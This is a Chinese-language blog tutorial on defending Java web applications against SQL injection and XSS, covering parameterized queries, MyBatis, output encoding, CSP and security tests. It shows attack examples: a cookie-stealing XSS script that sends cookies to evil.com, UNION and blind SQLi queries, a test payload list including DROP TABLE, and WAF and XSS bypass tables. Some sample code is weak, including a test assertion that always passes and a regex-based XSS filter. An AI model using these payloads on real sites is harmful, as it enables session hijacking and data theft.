当前位置: 首页 > news >正文

【架构实战】SQL注入与XSS防御:常见Web漏洞的系统性修复

SQL注入与XSS防御:常见Web漏洞的系统性修复

一、一次注入,全库裸奔

2024年某高校教务系统被黑:攻击者用一条URL/api/student?id=1 OR 1=1,直接拖走全校3万学生的成绩单、身份证号、家庭住址。

事后代码审查发现,这条查询是这么写的:

// 灾难级代码Stringsql="SELECT * FROM student WHERE id = "+request.getParameter("id");

没有预编译,没有参数化,没有校验——赤裸裸地把用户输入拼进SQL。

同样,某论坛被XSS攻击:用户昵称设为<script>document.location='http://evil.com/?c='+document.cookie</script>,所有访问该用户主页的人,Cookie被自动发送到攻击者服务器。

这两类漏洞占比:OWASP Top 10中,SQL注入排第3,XSS排第4。它们不是新问题,但每年仍在大量系统中出现。


二、SQL注入防御体系

2.1 SQL注入原理与分类

【注入原理】 用户输入 → 直接拼入SQL → 改变SQL语义 → 执行攻击者构造的SQL 【分类】 ┌─────────────────────────────────────┐ │ SQL注入类型 │ ├──────────────┬──────────────────────┤ │ 经典注入 │ UNION SELECT注入 │ │ │ 布尔盲注 │ │ │ 时间盲注 │ │ │ 报错注入 │ ├──────────────┼──────────────────────┤ │ 高级注入 │ 二次注入 │ │ │ 堆叠查询 │ │ │ 编码绕过 │ │ │ WAF绕过 │ ├──────────────┼──────────────────────┤ │ 特殊场景 │ ORM注入 │ │ │ 存储过程注入 │ │ │ NoSQL注入 │ └──────────────┴──────────────────────┘

经典注入示例

-- 正常查询SELECTname,emailFROMusersWHEREid=1-- UNION注入:拼接额外查询SELECTname,emailFROMusersWHEREid=1UNIONSELECTpassword,secretFROMadmin-- 布尔盲注:通过条件判断逐步提取数据SELECTnameFROMusersWHEREid=1AND(SELECTLENGTH(password)FROMadminWHEREusername='root')>8-- 时间盲注:无回显时用延迟判断SELECTnameFROMusersWHEREid=1ANDIF(SUBSTRING(password,1,1)='a',SLEEP(5),0)

2.2 预编译参数化——第一道防线

// 正确做法:预编译 + 参数化@ServicepublicclassStudentService{@AutowiredprivateJdbcTemplatejdbcTemplate;// 1. 使用PreparedStatement(最基本防御)publicStudentfindById(Stringid){Stringsql="SELECT * FROM student WHERE id = ?";returnjdbcTemplate.queryForObject(sql,newBeanPropertyRowMapper<>(Student.class),id);}// 2. 批量查询:同样参数化publicList<Student>findByClass(StringclassId){Stringsql="SELECT * FROM student WHERE class_id = ? AND status = ?";returnjdbcTemplate.query(sql,newBeanPropertyRowMapper<>(Student.class),classId,"ACTIVE");}// 3. 动态排序:不能直接参数化ORDER BY,需白名单校验publicList<Student>listStudents(StringorderBy,Stringdirection){// 白名单校验排序字段Set<String>allowedFields=Set.of("id","name","score","created_at");Set<String>allowedDirs=Set.of("ASC","DESC");if(!allowedFields.contains(orderBy)){orderBy="id";// 默认值}if(!allowedDirs.contains(direction.toUpperCase())){direction="ASC";}Stringsql=String.format("SELECT * FROM student ORDER BY %s %s",orderBy,direction);returnjdbcTemplate.query(sql,newBeanPropertyRowMapper<>(Student.class));}}

2.3 MyBatis安全配置

<!-- MyBatis安全用法 --><!-- 1. 使用#{}而非${} --><selectid="findById"resultType="Student">SELECT * FROM student WHERE id = #{id}<!-- 预编译,安全 --></select><!-- 2. ${}的危险性——直接拼入SQL --><selectid="findByColumn"resultType="Student"><!-- 错误示范 -->SELECT * FROM student ORDER BY ${column}<!-- 直接拼接,可注入! --></select><!-- 3. 动态SQL安全用法 --><selectid="search"resultType="Student">SELECT * FROM student<where><iftest="name != null">AND name LIKE CONCAT('%', #{name}, '%')<!-- 参数化LIKE --></if><iftest="minScore != null">AND score >= #{minScore}<!-- 参数化范围 --></if></where></select>

关键规则#{}用于参数值(预编译),${}用于SQL结构(列名/表名)——后者必须白名单校验。

2.4 ORM框架注入风险

// JPA/Hibernate同样有注入风险@EntitypublicclassStudent{...}// 安全用法@Query("SELECT s FROM Student s WHERE s.id = :id")// 参数化StudentfindById(@Param("id")Stringid);// 危险用法@Query("SELECT s FROM Student s WHERE s.classId = ?1 ORDER BY ?2")// ?2注入List<Student>findByClass(StringclassId,StringorderBy);// ORDER BY不能用参数化,需要白名单校验// Spring Data JPA Specification(安全的动态查询)publicclassStudentSpecs{publicstaticSpecification<Student>hasName(Stringname){return(root,query,cb)->cb.like(root.get("name"),"%"+name+"%");// 自动参数化}}

三、XSS防御体系

3.1 XSS原理与分类

【XSS分类】 ┌──────────────────────────────────────────┐ │ XSS攻击类型 │ ├───────────────┬─────────────────────────┤ │ 反射型XSS │ 攻击代码在URL参数中 │ │ │ 服务器直接返回给浏览器 │ ├───────────────┼─────────────────────────┤ │ 存储型XSS │ 攻击代码存入数据库 │ │ │ 每次访问页面都会触发 │ ├───────────────┼─────────────────────────┤ │ DOM型XSS │ 纯前端漏洞 │ │ │ JS直接操作DOM导致 │ └───────────────┴─────────────────────────┘

存储型XSS危害最大:攻击代码持久化存储,每个访问者都会受害。

// 反射型XSS示例// URL: /search?q=<script>alert(document.cookie)</script>// 服务器返回:搜索结果:<script>alert(document.cookie)</script>// DOM型XSS示例// URL: /page#<img src=x onerror=alert(1)>// 前端JS:document.getElementById('content').innerHTML = location.hash

3.2 输出编码——XSS防御核心

防御原则:不是阻止输入,而是安全输出。根据输出上下文选择不同的编码方式。

// HTML上下文编码publicStringencodeHtml(Stringinput){returninput.replace("&","&amp;").replace("<","&lt;").replace(">","&gt;").replace("\"","&quot;").replace("'","&#x27;");}// JavaScript上下文编码(更严格)publicStringencodeJs(Stringinput){StringBuildersb=newStringBuilder();for(charc:input.toCharArray()){if(c<0x20||c>0x7e||c=='"'||c=='\''||c=='\\'||c=='<'){sb.append(String.format("\\x%02x",(int)c));}else{sb.append(c);}}returnsb.toString();}// URL上下文编码publicStringencodeUrl(Stringinput){returnURLEncoder.encode(input,"UTF-8");}

不同输出上下文的编码对照

输出位置编码方式示例
HTML标签间HTML实体编码<div>${encodeHtml(name)}</div>
HTML属性HTML属性编码<input value="${encodeHtml(val)}">
JavaScriptJS编码var name = "${encodeJs(name)}"
URLURL编码<a href="/path?q=${encodeUrl(q)}">
CSSCSS编码禁止直接插入用户输入到CSS

3.3 Spring Security XSS防护

// Spring Security内置XSS防护配置@Configuration@EnableWebSecuritypublicclassSecurityConfigextendsWebSecurityConfigurerAdapter{@Overrideprotectedvoidconfigure(HttpSecurityhttp)throwsException{http// 1. XSS Header防护.headers().contentSecurityPolicy("default-src 'self'; script-src 'self'; style-src 'self'").and().xssProtection().headerValue(XXssProtectionHeaderWriter.HeaderValue.ENABLED_MODE_BLOCK).and()// 2. CORS配置(限制跨域来源).cors().configurationSource(corsConfigurationSource()).and()// 3. CSP(内容安全策略).headers().addHeaderWriter(newStaticHeadersWriter("Content-Security-Policy","default-src 'self'; "+"script-src 'self' 'nonce-{nonce}'; "+"object-src 'none'; "+"frame-src 'none'"));}}// 输入过滤:全局XSS过滤器@ComponentpublicclassXssFilterimplementsFilter{@OverridepublicvoiddoFilter(ServletRequestrequest,ServletResponseresponse,FilterChainchain)throwsIOException,ServletException{chain.doFilter(newXssHttpServletRequestWrapper((HttpServletRequest)request),response);}}// HttpServletRequest包装器:过滤所有参数publicclassXssHttpServletRequestWrapperextendsHttpServletRequestWrapper{@OverridepublicStringgetParameter(Stringname){Stringvalue=super.getParameter(name);returnvalue!=null?cleanXss(value):null;}@OverridepublicString[]getParameterValues(Stringname){String[]values=super.getParameterValues(name);if(values==null)returnnull;returnArrays.stream(values).map(this::cleanXss).toArray(String[]::new);}privateStringcleanXss(Stringvalue){// 移除危险标签value=value.replaceAll("<script.*?>.*?</script>","");value=value.replaceAll("on\\w+\\s*=\\s*\".*?\"","");value=value.replaceAll("javascript:","");returnvalue;}}

3.4 前端XSS防护

// React:默认对JSX中的变量做HTML编码constname=userInput;// 自动编码return<div>{name}</div>;// 安全,自动转义// 危险操作:dangerouslySetInnerHTMLreturn<div dangerouslySetInnerHTML={{__html:rawHtml}}/>;// 危险!// 使用前必须对rawHtml做XSS清洗// DOMPurify清洗富文本importDOMPurifyfrom'dompurify';constcleanHtml=DOMPurify.sanitize(rawHtml);return<div dangerouslySetInnerHTML={{__html:cleanHtml}}/>;// 安全// Vue:v-html同样危险<div v-html="rawHtml"></div>// 危险!需要清洗<div v-html="sanitize(rawHtml)"></div>// 安全// CSP nonce方案(最安全的动态脚本方式)// 服务端生成nonce,注入到CSP header和script标签constnonce=generateNonce();// HTTP Header: Content-Security-Policy: script-src 'nonce-abc123'// HTML: <script nonce="abc123">...</script>

四、系统性修复方案

4.1 安全编码规范

【SQL注入防御规范】 1. 所有SQL查询必须使用预编译参数化(#{}或PreparedStatement) 2. 禁止${}拼接SQL结构(列名、表名、ORDER BY) 3. 动态SQL结构必须白名单校验 4. 禁止拼接用户输入到SQL 【XSS防御规范】 1. 所有用户输入输出前必须编码 2. 根据输出上下文选择正确的编码方式 3. 富文本必须使用白名单HTML清洗(DOMPurify/Sanitize) 4. 设置CSP Header限制脚本来源 5. Cookie设置HttpOnly和Secure标志

4.2 自动化代码审计

// SonarQube + 自定义规则扫描SQL注入// 扫描所有拼接SQL的代码// 自定义规则:检测字符串拼接SQL@ComponentpublicclassSqlInjectionDetectorRuleextendsAbstractJavaRule{@OverridepublicvoidvisitNode(Treetree){// 检测 String + request.getParameter() 模式if(isSqlConcatenation(tree)){addIssue(tree,"SQL注入风险:禁止字符串拼接SQL,使用预编译参数化");}}}// 扫描配置sonarqube_rules:-"SQL_CONCATENATION"#SQL拼接检测-"MYBATIS_DOLLAR_SIGN"# ${}使用检测-"XSS_UNSAFE_OUTPUT"#XSS未编码输出检测-"DANGEROUSLY_SET_HTML"# dangerouslySetInnerHTML检测

4.3 安全测试体系

// 集成安全测试用例@SpringBootTestpublicclassSecurityTestCase{@AutowiredprivateStudentServicestudentService;// SQL注入测试@TestpublicvoidtestSqlInjectionResistance(){// 常见注入payloadString[]payloads={"1 OR 1=1","1; DROP TABLE student","1 UNION SELECT password FROM admin","1' AND '1'='1","1/**/OR/**/1=1"};for(Stringpayload:payloads){// 注入payload应被预编译处理,不改变SQL语义Studentresult=studentService.findById(payload);// 应返回null或报错,而非返回所有数据assertNotNull(result==null||result.getId()==null);}}// XSS编码测试@TestpublicvoidtestXssEncoding(){StringxssPayload="<script>alert(1)</script>";Stringencoded=xssEncoder.encodeHtml(xssPayload);assertFalse(encoded.contains("<script>"));assertTrue(encoded.contains("&lt;script&gt;"));}}

五、防御对比与常见绕过

5.1 防御层次对比

防御层SQL注入XSS
代码层预编译参数化输出编码
框架层ORM/JPASpring Security Filter
WAF层规则拦截注入特征CSP + XSS Header
运行层数据库权限最小化HttpOnly + SameSite Cookie
审计层SQL执行审计输出内容审计

5.2 常见绕过手段与对策

SQL注入绕过

绕过方式示例对策
编码绕过%27代替'多层解码后检测
注释绕过SEL/**/ECT去除注释后检测
大小写混合sElEcT大小写规范化
等价函数SUBSTR→MID→SUBSTRING覆盖所有等价写法
宽字节%bf%27指定字符集编码

XSS绕过

绕过方式示例对策
标签变形<ScRiPt>大小写规范化
事件属性<img onerror=alert(1)>禁止所有on*事件
伪协议<a href="javascript:alert(1)">禁止javascript协议
编码绕过&#x3c;script&#x3e;多层解码后检测
SVG/MathML<svg onload=alert(1)>白名单HTML清洗

六、实战:从漏洞到修复的完整案例

6.1 漏洞代码

// 某论坛系统的用户搜索功能——同时存在SQL注入和XSS@ControllerpublicclassForumController{// SQL注入:直接拼接用户输入publicList<User>searchUsers(Stringkeyword){Stringsql="SELECT * FROM users WHERE nickname LIKE '%"+keyword+"%'";returnjdbcTemplate.query(sql,newBeanPropertyRowMapper<>(User.class));}// XSS:直接输出用户昵称到HTMLpublicStringgetUserProfile(StringuserId){Useruser=userService.findById(userId);return"<div class='profile'><h2>"+user.getNickname()+"</h2></div>";}}

6.2 修复代码

@ControllerpublicclassForumController{// SQL注入修复:预编译参数化publicList<User>searchUsers(Stringkeyword){Stringsql="SELECT * FROM users WHERE nickname LIKE CONCAT('%', ?, '%')";returnjdbcTemplate.query(sql,newBeanPropertyRowMapper<>(User.class),keyword);}// XSS修复:输出编码 + 模板引擎自动编码publicStringgetUserProfile(StringuserId){Useruser=userService.findById(userId);// 使用Thymeleaf模板,自动HTML编码return"profile";// 渲染Thymeleaf模板}}// Thymeleaf模板(自动编码)// <div class="profile"><h2 th:text="${user.nickname}"></h2></div>

七、总结

SQL注入和XSS是最常见也最容易被修复的Web漏洞——修复成本很低,但忽略的代价极高。

核心要点

  1. SQL注入防御:预编译参数化是唯一正确做法,白名单校验动态SQL结构
  2. XSS防御:根据输出上下文选择编码方式,富文本用白名单清洗,CSP作为兜底
  3. 系统性修复:安全编码规范 + 自动化审计 + 安全测试三层保障
  4. 防御纵深:代码层、框架层、WAF层、运行层、审计层多重防线
  5. 永不过时:这两类漏洞每年都在OWASP Top 10中,没有借口忽略

一句话总结:预编译治注入,编码治XSS,白名单治动态,纵深治绕过。


作者:架构实战团队
日期:2026-07-16
标签:#SQL注入 #XSS #Web安全 #预编译 #输出编码

http://www.jsqmd.com/news/1199878/

相关文章:

  • CANN/asc-devkit SIMD int32转int16函数
  • K2.6如何实现自然语言到可部署前端项目的七层转化
  • SAR ADC数字接口设计与可靠性优化实践
  • NX底壁铣实战:从参数优化到高效刀路生成的进阶指南
  • AI Agent技术演进与Claude Code架构解析
  • 人工智能核心技术解析:从机器学习到深度学习
  • Rider 2025:.NET 开发工作流重构与跨框架开发新范式
  • STM32 继电器驱动电路实战:从三极管选型到PCB布局的避坑指南
  • 2026嘉兴屋顶漏水维修怎么处理?对比3家正规公司报价与避坑指南(7月) - 防水企业百科
  • Ubuntu 22.04 LTS生产力环境配置指南
  • UEFI启动管理与bcdedit命令实战指南
  • Linux核心命令实战指南:从入门到高效运维
  • dbt CI/CD实践:自动化测试与部署的完整解决方案
  • 系数不写死:用两个宏推导全项目 14 处系数
  • Claude Code CLI 工具安装与终端实战指南
  • 终极指南:如何用开源AlienFX Control替代AWCC实现全面硬件控制
  • 电子电路故障检测方法与实用技巧详解
  • 桥式整流电路原理与应用全解析
  • FastGPT与Ollama构建本地AI客服系统实践
  • 开源生成式AI安全测试工具横评:从原理到实战选型指南
  • MCP Server架构设计与AI应用开发实践
  • 2026成都正宗川味冒菜加盟甄选多家门店实地考察避坑 - 中国华商产业观察网
  • React-maskedinput最佳实践:避免常见陷阱的7个关键要点
  • 别只盯召回率:Agent 上线崩盘,往往是权限和日志没管好
  • 滑动窗口去抖动:连续 N 次满足条件才算数
  • Java 内存管理:从堆到垃圾回收的工程实践
  • AI技术演进:从深度学习革命到现代大模型实践
  • C# 泛型详解:从入门到掌握 Generics,写出高复用、高性能代码
  • 拆解与洞察:从一枚18元的光电烟感报警器看国产消防电子的设计哲学
  • 网页字体优化:从格式选择到性能提升实战